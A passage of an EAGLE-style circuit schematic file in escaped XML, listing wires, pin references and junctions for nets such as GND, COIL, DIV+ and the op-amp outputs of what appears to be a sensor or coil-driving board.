y=\"218.44\"/>\n<pinref part=\"JP18\" gate=\"G$1\" pin=\"2\"/>\n<wire x1=\"154.94\" y1=\"231.14\" x2=\"154.94\" y2=\"213.36\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"154.94\" y1=\"213.36\" x2=\"139.7\" y2=\"213.36\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"139.7\" y1=\"213.36\" x2=\"139.7\" y2=\"218.44\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"154.94\" y=\"231.14\"/>\n</segment>\n<segment>\n<wire x1=\"129.54\" y1=\"215.9\" x2=\"129.54\" y2=\"213.36\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"GND4\" gate=\"1\" pin=\"GND\"/>\n<junction x=\"129.54\" y=\"213.36\"/>\n<wire x1=\"129.54\" y1=\"223.52\" x2=\"129.54\" y2=\"213.36\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"U8\" gate=\"G$1\" pin=\"GND\"/>\n<junction x=\"129.54\" y=\"223.52\"/>\n</segment>\n<segment>\n<wire x1=\"269.24\" y1=\"147.32\" x2=\"259.08\" y2=\"147.32\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"266.7\" y=\"147.574\" size=\"1.778\" layer=\"95\" rot=\"MR0\"/>\n<pinref part=\"JP16\" gate=\"G$1\" pin=\"3\"/>\n<pinref part=\"TP15\" gate=\"G$1\" pin=\"TP\"/>\n<wire x1=\"269.24\" y1=\"147.32\" x2=\"289.56\" y2=\"147.32\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"269.24\" y=\"147.32\"/>\n<junction x=\"289.56\" y=\"147.32\"/>\n</segment>\n<segment>\n<pinref part=\"GND7\" gate=\"1\" pin=\"GND\"/>\n<wire x1=\"251.46\" y1=\"200.66\" x2=\"251.46\" y2=\"198.12\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"251.46\" y1=\"198.12\" x2=\"248.92\" y2=\"198.12\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"248.92\" y1=\"200.66\" x2=\"248.92\" y2=\"198.12\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"248.92\" y1=\"198.12\" x2=\"246.38\" y2=\"198.12\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"248.92\" y=\"198.12\"/>\n<junction x=\"243.84\" y=\"198.12\"/>\n<wire x1=\"246.38\" y1=\"200.66\" x2=\"246.38\" y2=\"198.12\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"243.84\" y1=\"198.12\" x2=\"243.84\" y2=\"200.66\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"246.38\" y1=\"198.12\" x2=\"243.84\" y2=\"198.12\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"243.84\" y1=\"198.12\" x2=\"231.14\" y2=\"198.12\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"231.14\" y1=\"198.12\" x2=\"231.14\" y2=\"218.44\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"231.14\" y1=\"218.44\" x2=\"236.22\" y2=\"218.44\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"218.44\" y=\"218.44\" size=\"1.778\" layer=\"95\"/>\n<wire x1=\"231.14\" y1=\"218.44\" x2=\"223.52\" y2=\"218.44\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"246.38\" y=\"198.12\"/>\n<junction x=\"231.14\" y=\"218.44\"/>\n<pinref part=\"U$2\" gate=\"G$1\" pin=\"$GND\"/>\n<pinref part=\"U$2\" gate=\"G$1\" pin=\"GND@1\"/>\n<pinref part=\"U$2\" gate=\"G$1\" pin=\"GND@2\"/>\n<pinref part=\"U$2\" gate=\"G$1\" pin=\"GND@3\"/>\n<pinref part=\"U$2\" gate=\"G$1\" pin=\"GND@4\"/>\n<junction x=\"251.46\" y=\"200.66\"/>\n<junction x=\"248.92\" y=\"200.66\"/>\n<junction x=\"246.38\" y=\"200.66\"/>\n<junction x=\"243.84\" y=\"200.66\"/>\n</segment>\n<segment>\n<pinref part=\"U5\" gate=\"A\" pin=\"GND\"/>\n<pinref part=\"SUPPLY1\" gate=\"1\" pin=\"GND\"/>\n<wire x1=\"-43.18\" y1=\"-88.9\" x2=\"-48.26\" y2=\"-88.9\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"-48.26\" y=\"-88.9\"/>\n<junction x=\"-43.18\" y=\"-88.9\"/>\n</segment>\n<segment>\n<pinref part=\"SUPPLY2\" gate=\"1\" pin=\"GND\"/>\n<wire x1=\"71.12\" y1=\"-58.42\" x2=\"71.12\" y2=\"-55.88\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"71.12\" y=\"-58.42\"/>\n<pinref part=\"D6\" gate=\"G$1\" pin=\"C2\"/>\n</segment>\n<segment>\n<pinref part=\"U7\" gate=\"G$1\" pin=\"GND_SIM_PIN_5\"/>\n<wire x1=\"472.44\" y1=\"109.22\" x2=\"482.6\" y2=\"109.22\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"482.6\" y=\"109.22\" size=\"1.778\" layer=\"95\"/>\n<junction x=\"472.44\" y=\"109.22\"/>\n</segment>\n<segment>\n<wire x1=\"-43.18\" y1=\"-116.84\" x2=\"-33.02\" y2=\"-116.84\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"SUPPLY6\" gate=\"1\" pin=\"GND\"/>\n<wire x1=\"-33.02\" y1=\"-116.84\" x2=\"-33.02\" y2=\"-121.92\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"OPTO_MOS1\" gate=\"G$1\" pin=\"C\"/>\n<junction x=\"-43.18\" y=\"-116.84\"/>\n<junction x=\"-33.02\" y=\"-121.92\"/>\n</segment>\n<segment>\n<wire x1=\"-124.46\" y1=\"226.06\" x2=\"-116.84\" y2=\"226.06\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-116.84\" y1=\"226.06\" x2=\"-116.84\" y2=\"233.68\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"SUPPLY3\" gate=\"1\" pin=\"GND\"/>\n<wire x1=\"-116.84\" y1=\"233.68\" x2=\"-119.38\" y2=\"233.68\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"OPTO_MOS2\" gate=\"G$1\" pin=\"C\"/>\n<junction x=\"-124.46\" y=\"226.06\"/>\n<junction x=\"-119.38\" y=\"233.68\"/>\n</segment>\n<segment>\n<pinref part=\"USD_1\" gate=\"G$1\" pin=\"6_GND\"/>\n<wire x1=\"337.82\" y1=\"223.52\" x2=\"330.2\" y2=\"223.52\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"320.04\" y1=\"205.74\" x2=\"330.2\" y2=\"205.74\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"330.2\" y1=\"223.52\" x2=\"330.2\" y2=\"205.74\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"USD_1\" gate=\"G$1\" pin=\"SHIELD@4\"/>\n<wire x1=\"330.2\" y1=\"205.74\" x2=\"332.74\" y2=\"205.74\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"337.82\" y1=\"205.74\" x2=\"332.74\" y2=\"205.74\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"332.74\" y1=\"205.74\" x2=\"332.74\" y2=\"208.28\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"USD_1\" gate=\"G$1\" pin=\"SHIELD@3\"/>\n<wire x1=\"337.82\" y1=\"208.28\" x2=\"332.74\" y2=\"208.28\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"332.74\" y1=\"208.28\" x2=\"332.74\" y2=\"210.82\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"USD_1\" gate=\"G$1\" pin=\"SHIELD@2\"/>\n<wire x1=\"337.82\" y1=\"210.82\" x2=\"332.74\" y2=\"210.82\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"332.74\" y1=\"210.82\" x2=\"332.74\" y2=\"213.36\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"USD_1\" gate=\"G$1\" pin=\"SHIELD@1\"/>\n<wire x1=\"332.74\" y1=\"213.36\" x2=\"337.82\" y2=\"213.36\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"C17\" gate=\"G$1\" pin=\"2\"/>\n<wire x1=\"320.04\" y1=\"205.74\" x2=\"320.04\" y2=\"208.28\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"320.04\" y=\"208.28\"/>\n<junction x=\"330.2\" y=\"205.74\"/>\n<junction x=\"332.74\" y=\"205.74\"/>\n<junction x=\"337.82\" y=\"205.74\"/>\n<junction x=\"337.82\" y=\"208.28\"/>\n<junction x=\"337.82\" y=\"210.82\"/>\n<junction x=\"337.82\" y=\"213.36\"/>\n<junction x=\"332.74\" y=\"210.82\"/>\n<junction x=\"332.74\" y=\"208.28\"/>\n<pinref part=\"USD_1\" gate=\"G$1\" pin=\"SWITCH_B\"/>\n<wire x1=\"337.82\" y1=\"200.66\" x2=\"332.74\" y2=\"200.66\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"332.74\" y1=\"200.66\" x2=\"332.74\" y2=\"205.74\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"337.82\" y=\"200.66\"/>\n<pinref part=\"GND3\" gate=\"1\" pin=\"GND\"/>\n<wire x1=\"330.2\" y1=\"205.74\" x2=\"330.2\" y2=\"198.12\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"330.2\" y=\"198.12\"/>\n<junction x=\"337.82\" y=\"223.52\"/>\n</segment>\n<segment>\n<pinref part=\"SUPPLY7\" gate=\"1\" pin=\"GND\"/>\n<wire x1=\"170.18\" y1=\"-68.58\" x2=\"170.18\" y2=\"-66.04\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"170.18\" y=\"-68.58\"/>\n<pinref part=\"D5\" gate=\"G$1\" pin=\"C2\"/>\n<junction x=\"170.18\" y=\"-66.04\"/>\n</segment>\n<segment>\n<pinref part=\"JP19\" gate=\"G$1\" pin=\"1\"/>\n<wire x1=\"5.08\" y1=\"-200.66\" x2=\"5.08\" y2=\"-205.74\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"C31\" gate=\"G$1\" pin=\"2\"/>\n<wire x1=\"5.08\" y1=\"-205.74\" x2=\"33.02\" y2=\"-205.74\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"33.02\" y1=\"-205.74\" x2=\"43.18\" y2=\"-205.74\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"43.18\" y1=\"-205.74\" x2=\"50.8\" y2=\"-205.74\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"50.8\" y1=\"-205.74\" x2=\"55.88\" y2=\"-205.74\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"R37\" gate=\"G$1\" pin=\"2\"/>\n<pinref part=\"C33\" gate=\"G$1\" pin=\"1\"/>\n<wire x1=\"55.88\" y1=\"-205.74\" x2=\"68.58\" y2=\"-205.74\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"68.58\" y1=\"-205.74\" x2=\"73.66\" y2=\"-205.74\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"SUPPLY9\" gate=\"1\" pin=\"GND\"/>\n<junction x=\"55.88\" y=\"-205.74\"/>\n<junction x=\"5.08\" y=\"-200.66\"/>\n<junction x=\"50.8\" y=\"-205.74\"/>\n<junction x=\"73.66\" y=\"-205.74\"/>\n<junction x=\"68.58\" y=\"-205.74\"/>\n<pinref part=\"C36\" gate=\"G$1\" pin=\"2\"/>\n<junction x=\"33.02\" y=\"-205.74\"/>\n<pinref part=\"OPTO_MOS3\" gate=\"G$1\" pin=\"C\"/>\n<wire x1=\"43.18\" y1=\"-190.5\" x2=\"43.18\" y2=\"-205.74\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"43.18\" y=\"-190.5\"/>\n<junction x=\"43.18\" y=\"-205.74\"/>\n</segment>\n<segment>\n<pinref part=\"J1\" gate=\"1\" pin=\"2\"/>\n<pinref part=\"GND1\" gate=\"1\" pin=\"GND\"/>\n<wire x1=\"182.88\" y1=\"58.42\" x2=\"177.8\" y2=\"58.42\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"182.88\" y=\"58.42\"/>\n<junction x=\"177.8\" y=\"58.42\"/>\n</segment>\n<segment>\n<wire x1=\"-91.44\" y1=\"10.16\" x2=\"-91.44\" y2=\"15.24\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-91.44\" y1=\"15.24\" x2=\"-99.06\" y2=\"15.24\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-99.06\" y1=\"15.24\" x2=\"-99.06\" y2=\"7.62\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-91.44\" y1=\"15.24\" x2=\"-91.44\" y2=\"20.32\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"-91.44\" y=\"15.24\"/>\n<pinref part=\"C34\" gate=\"G$1\" pin=\"1\"/>\n<pinref part=\"GND2\" gate=\"1\" pin=\"GND\"/>\n<pinref part=\"C35\" gate=\"G$1\" pin=\"1\"/>\n<junction x=\"-91.44\" y=\"10.16\"/>\n<junction x=\"-91.44\" y=\"20.32\"/>\n<junction x=\"-99.06\" y=\"7.62\"/>\n</segment>\n</net>\n<net name=\"COIL\" class=\"0\">\n<segment>\n<pinref part=\"JP11\" gate=\"G$1\" pin=\"1\"/>\n<pinref part=\"C4\" gate=\"G$1\" pin=\"1\"/>\n<wire x1=\"-116.84\" y1=\"-76.2\" x2=\"-116.84\" y2=\"-106.68\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"-116.84\" y=\"-106.68\"/>\n<junction x=\"-116.84\" y=\"-76.2\"/>\n<junction x=\"-116.84\" y=\"-109.22\"/>\n<pinref part=\"C5\" gate=\"G$1\" pin=\"1\"/>\n<wire x1=\"-116.84\" y1=\"-109.22\" x2=\"-116.84\" y2=\"-106.68\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-116.84\" y1=\"-106.68\" x2=\"-99.06\" y2=\"-106.68\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"D2\" gate=\"G$1\" pin=\"C\"/>\n<junction x=\"-15.24\" y=\"-91.44\"/>\n<pinref part=\"C6\" gate=\"G$1\" pin=\"1\"/>\n<wire x1=\"-99.06\" y1=\"-109.22\" x2=\"-99.06\" y2=\"-106.68\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-99.06\" y1=\"-106.68\" x2=\"-88.9\" y2=\"-106.68\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"C7\" gate=\"G$1\" pin=\"1\"/>\n<wire x1=\"-78.74\" y1=\"-106.68\" x2=\"-88.9\" y2=\"-106.68\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-88.9\" y1=\"-106.68\" x2=\"-88.9\" y2=\"-109.22\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-53.34\" y1=\"-111.76\" x2=\"-53.34\" y2=\"-106.68\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-53.34\" y1=\"-106.68\" x2=\"-71.12\" y2=\"-106.68\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"OPTO_MOS1\" gate=\"G$1\" pin=\"NO\"/>\n<pinref part=\"TUNE\" gate=\"G$1\" pin=\"2\"/>\n<wire x1=\"-78.74\" y1=\"-109.22\" x2=\"-78.74\" y2=\"-106.68\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-78.74\" y1=\"-106.68\" x2=\"-71.12\" y2=\"-106.68\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-71.12\" y1=\"-114.3\" x2=\"-71.12\" y2=\"-106.68\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"TP5\" gate=\"G$1\" pin=\"TP\"/>\n<junction x=\"-53.34\" y=\"-111.76\"/>\n<wire x1=\"-53.34\" y1=\"-106.68\" x2=\"-15.24\" y2=\"-106.68\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-15.24\" y1=\"-106.68\" x2=\"-15.24\" y2=\"-91.44\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"-99.06\" y=\"-106.68\"/>\n<junction x=\"-99.06\" y=\"-109.22\"/>\n<junction x=\"-88.9\" y=\"-106.68\"/>\n<junction x=\"-88.9\" y=\"-109.22\"/>\n<junction x=\"-78.74\" y=\"-106.68\"/>\n<junction x=\"-78.74\" y=\"-109.22\"/>\n<junction x=\"-71.12\" y=\"-106.68\"/>\n<junction x=\"-71.12\" y=\"-114.3\"/>\n<junction x=\"-53.34\" y=\"-106.68\"/>\n</segment>\n</net>\n<net name=\"N$5\" class=\"0\">\n<segment>\n<pinref part=\"R7\" gate=\"G$1\" pin=\"2\"/>\n<pinref part=\"C10\" gate=\"G$1\" pin=\"1\"/>\n<pinref part=\"C8\" gate=\"G$1\" pin=\"1\"/>\n<wire x1=\"-10.16\" y1=\"-91.44\" x2=\"-2.54\" y2=\"-91.44\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-2.54\" y1=\"-91.44\" x2=\"-2.54\" y2=\"-109.22\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"5.08\" y=\"-106.68\"/>\n<wire x1=\"5.08\" y1=\"-91.44\" x2=\"-2.54\" y2=\"-91.44\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"5.08\" y1=\"-106.68\" x2=\"5.08\" y2=\"-91.44\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"5.08\" y1=\"-91.44\" x2=\"10.16\" y2=\"-91.44\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"-2.54\" y=\"-91.44\"/>\n<junction x=\"10.16\" y=\"-91.44\"/>\n<pinref part=\"D2\" gate=\"G$1\" pin=\"A\"/>\n<junction x=\"-10.16\" y=\"-91.44\"/>\n<junction x=\"-2.54\" y=\"-109.22\"/>\n<junction x=\"5.08\" y=\"-91.44\"/>\n</segment>\n</net>\n<net name=\"N$6\" class=\"0\">\n<segment>\n<pinref part=\"C10\" gate=\"G$1\" pin=\"2\"/>\n<pinref part=\"R13\" gate=\"G$1\" pin=\"2\"/>\n<wire x1=\"20.32\" y1=\"-91.44\" x2=\"17.78\" y2=\"-91.44\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"17.78\" y=\"-91.44\"/>\n<junction x=\"20.32\" y=\"-91.44\"/>\n</segment>\n</net>\n<net name=\"N$7\" class=\"0\">\n<segment>\n<pinref part=\"R13\" gate=\"G$1\" pin=\"1\"/>\n<pinref part=\"C11\" gate=\"G$1\" pin=\"2\"/>\n<pinref part=\"C9\" gate=\"G$1\" pin=\"2\"/>\n<junction x=\"33.02\" y=\"-104.14\"/>\n<pinref part=\"C9\" gate=\"G$1\" pin=\"2\"/>\n<wire x1=\"33.02\" y1=\"-104.14\" x2=\"33.02\" y2=\"-91.44\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"35.56\" y=\"-91.44\"/>\n<wire x1=\"35.56\" y1=\"-91.44\" x2=\"33.02\" y2=\"-91.44\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"30.48\" y=\"-91.44\"/>\n<wire x1=\"33.02\" y1=\"-91.44\" x2=\"30.48\" y2=\"-91.44\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"33.02\" y1=\"-106.68\" x2=\"33.02\" y2=\"-104.14\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"33.02\" y=\"-91.44\"/>\n</segment>\n</net>\n<net name=\"N$8\" class=\"0\">\n<segment>\n<pinref part=\"C11\" gate=\"G$1\" pin=\"1\"/>\n<junction x=\"43.18\" y=\"-91.44\"/>\n<pinref part=\"R45\" gate=\"G$1\" pin=\"2\"/>\n<wire x1=\"50.8\" y1=\"-91.44\" x2=\"43.18\" y2=\"-91.44\" width=\"0.1524\" layer=\"91\"/>\n</segment>\n</net>\n<net name=\"N$9\" class=\"0\">\n<segment>\n<pinref part=\"R14\" gate=\"G$1\" pin=\"1\"/>\n<wire x1=\"73.66\" y1=\"-91.44\" x2=\"73.66\" y2=\"-76.2\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"R15\" gate=\"G$1\" pin=\"2\"/>\n<wire x1=\"73.66\" y1=\"-76.2\" x2=\"83.82\" y2=\"-76.2\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"73.66\" y=\"-91.44\"/>\n<junction x=\"83.82\" y=\"-76.2\"/>\n<pinref part=\"U4\" gate=\"A\" pin=\"-IN\"/>\n<wire x1=\"73.66\" y1=\"-91.44\" x2=\"81.28\" y2=\"-91.44\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"81.28\" y=\"-91.44\"/>\n<junction x=\"73.66\" y=\"-91.44\"/>\n</segment>\n</net>\n<net name=\"OPB-\" class=\"0\">\n<segment>\n<label x=\"99.06\" y=\"-190.5\" size=\"1.778\" layer=\"95\"/>\n<pinref part=\"R38\" gate=\"G$1\" pin=\"1\"/>\n<pinref part=\"C33\" gate=\"G$1\" pin=\"2\"/>\n<wire x1=\"73.66\" y1=\"-198.12\" x2=\"81.28\" y2=\"-198.12\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"73.66\" y1=\"-187.96\" x2=\"73.66\" y2=\"-198.12\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"73.66\" y=\"-198.12\"/>\n<junction x=\"81.28\" y=\"-198.12\"/>\n<pinref part=\"TP45\" gate=\"G$1\" pin=\"TP\"/>\n<wire x1=\"73.66\" y1=\"-187.96\" x2=\"111.76\" y2=\"-187.96\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"U4\" gate=\"B\" pin=\"-IN\"/>\n<junction x=\"73.66\" y=\"-187.96\"/>\n</segment>\n</net>\n<net name=\"N$12\" class=\"0\">\n<segment>\n<wire x1=\"76.2\" y1=\"-86.36\" x2=\"76.2\" y2=\"-106.68\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"R10\" gate=\"G$1\" pin=\"2\"/>\n<junction x=\"76.2\" y=\"-106.68\"/>\n<pinref part=\"U4\" gate=\"A\" pin=\"+IN\"/>\n<wire x1=\"76.2\" y1=\"-86.36\" x2=\"81.28\" y2=\"-86.36\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"81.28\" y=\"-86.36\"/>\n</segment>\n</net>\n<net name=\"DIV+\" class=\"0\">\n<segment>\n<pinref part=\"C3\" gate=\"G$1\" pin=\"1\"/>\n<junction x=\"256.54\" y=\"-137.16\"/>\n<pinref part=\"U4\" gate=\"D\" pin=\"-IN\"/>\n<junction x=\"264.16\" y=\"-132.08\"/>\n<wire x1=\"256.54\" y1=\"-132.08\" x2=\"264.16\" y2=\"-132.08\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"236.22\" y1=\"-132.08\" x2=\"243.84\" y2=\"-132.08\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"243.84\" y1=\"-132.08\" x2=\"246.38\" y2=\"-132.08\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"246.38\" y1=\"-132.08\" x2=\"256.54\" y2=\"-132.08\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"256.54\" y1=\"-132.08\" x2=\"256.54\" y2=\"-137.16\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"JP5\" gate=\"A\" pin=\"1\"/>\n<pinref part=\"JP5\" gate=\"A\" pin=\"3\"/>\n<wire x1=\"233.68\" y1=\"-129.54\" x2=\"236.22\" y2=\"-129.54\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"JP5\" gate=\"A\" pin=\"5\"/>\n<wire x1=\"238.76\" y1=\"-129.54\" x2=\"236.22\" y2=\"-129.54\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"236.22\" y1=\"-129.54\" x2=\"236.22\" y2=\"-132.08\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"236.22\" y=\"-129.54\"/>\n<junction x=\"233.68\" y=\"-129.54\"/>\n<junction x=\"238.76\" y=\"-129.54\"/>\n<junction x=\"256.54\" y=\"-132.08\"/>\n<junction x=\"236.22\" y=\"-132.08\"/>\n<wire x1=\"236.22\" y1=\"-132.08\" x2=\"236.22\" y2=\"-134.62\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"TP3\" gate=\"G$1\" pin=\"TP\"/>\n<junction x=\"243.84\" y=\"-132.08\"/>\n<wire x1=\"256.54\" y1=\"-132.08\" x2=\"256.54\" y2=\"-66.04\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"256.54\" y1=\"-66.04\" x2=\"386.08\" y2=\"-66.04\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"388.62\" y=\"-66.04\" size=\"1.778\" layer=\"95\"/>\n<pinref part=\"J2\" gate=\"1\" pin=\"1\"/>\n<junction x=\"246.38\" y=\"-132.08\"/>\n</segment>\n<segment>\n<pinref part=\"U6\" gate=\"A\" pin=\"AN13/ERXD1/AECOL/PMA10/RB13\"/>\n<wire x1=\"-43.18\" y1=\"63.5\" x2=\"-50.8\" y2=\"63.5\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"-43.18\" y=\"63.5\"/>\n<label x=\"-58.42\" y=\"63.5\" size=\"1.778\" layer=\"95\"/>\n</segment>\n<segment>\n<wire x1=\"259.08\" y1=\"68.58\" x2=\"274.32\" y2=\"68.58\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"261.62\" y=\"68.834\" size=\"1.778\" layer=\"95\"/>\n<pinref part=\"JP14\" gate=\"-1\" pin=\"23\"/>\n<junction x=\"274.32\" y=\"68.58\"/>\n</segment>\n</net>\n<net name=\"OP-OUT\" class=\"0\">\n<segment>\n<wire x1=\"279.4\" y1=\"-129.54\" x2=\"284.48\" y2=\"-129.54\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"284.48\" y1=\"-129.54\" x2=\"284.48\" y2=\"-127\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"U2\" gate=\"A\" pin=\"2A\"/>\n<wire x1=\"284.48\" y1=\"-127\" x2=\"284.48\" y2=\"-121.92\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"284.48\" y1=\"-121.92\" x2=\"284.48\" y2=\"-116.84\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"289.56\" y1=\"-114.3\" x2=\"284.48\" y2=\"-114.3\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"284.48\" y1=\"-114.3\" x2=\"284.48\" y2=\"-116.84\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"U4\" gate=\"D\" pin=\"OUT\"/>\n<junction x=\"289.56\" y=\"-114.3\"/>\n<pinref part=\"OP+OUT\" gate=\"G$1\" pin=\"TP\"/>\n<junction x=\"284.48\" y=\"-116.84\"/>\n<pinref part=\"JP6\" gate=\"G$1\" pin=\"1\"/>\n<junction x=\"284.48\" y=\"-127\"/>\n<pinref part=\"TP4\" gate=\"G$1\" pin=\"TP\"/>\n<junction x=\"284.48\" y=\"-121.92\"/>\n<junction x=\"279.4\" y=\"-129.54\"/>\n</segment>\n</net>\n<net name=\"OP+OUT\" class=\"0\">\n<segment>\n<pinref part=\"U2\" gate=\"A\" pin=\"1A\"/>\n<wire x1=\"284.48\" y1=\"-109.22\" x2=\"284.48\" y2=\"-104.14\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"284.48\" y1=\"-104.14\" x2=\"284.48\" y2=\"-101.6\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"284.48\" y1=\"-101.6\" x2=\"284.48\" y2=\"-81.28\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"284.48\" y1=\"-81.28\" x2=\"279.4\" y2=\"-81.28\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"289.56\" y1=\"-111.76\" x2=\"284.48\" y2=\"-111.76\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"284.48\" y1=\"-111.76\" x2=\"284.48\" y2=\"-109.22\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"U4\" gate=\"C\" pin=\"OUT\"/>\n<junction x=\"289.56\" y=\"-111.76\"/>\n<pinref part=\"OP-OUT\" gate=\"G$1\" pin=\"TP\"/>\n<junction x=\"284.48\" y=\"-109.22\"/>\n<pinref part=\"JP7\" gate=\"G$1\" pin=\"1\"/>\n<junction x=\"284.48\" y=\"-104.14\"/>\n<pinref part=\"TP6\" gate=\"G$1\" pin=\"TP\"/>\n<junction x=\"284.48\" y=\"-101.6\"/>\n<junction x=\"279.4\" y=\"-81.28\"/>\n</segment>\n</net>\n<net name=\"UPS_ORIN1\" class=\"0\">\n<segment>\n<pinref part=\"U2\" gate=\"A\" pin=\"1Y\"/>\n<wire x1=\"325.12\" y1=\"-83.82\" x2=\"325.12\" y2=\"-73.66\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"325.12\" y1=\"-73.66\" x2=\"363.22\" y2=\"-73.66\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"U3\" gate=\"G$1\" pin=\"A\"/>\n<junction x=\"340.36\" y=\"-106.68\"/>\n<wire x1=\"325.12\" y1=\"-106.68\" x2=\"325.12\" y2=\"-93.98\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"JP9\" gate=\"G$1\" pin=\"1\"/>\n<junction x=\"325.12\" y=\"-83.82\"/>\n<wire x1=\"325.12\" y1=\"-93.98\" x2=\"325.12\" y2=\"-83.82\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"325.12\" y1=\"-106.68\" x2=\"340.36\" y2=\"-106.68\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"325.12\" 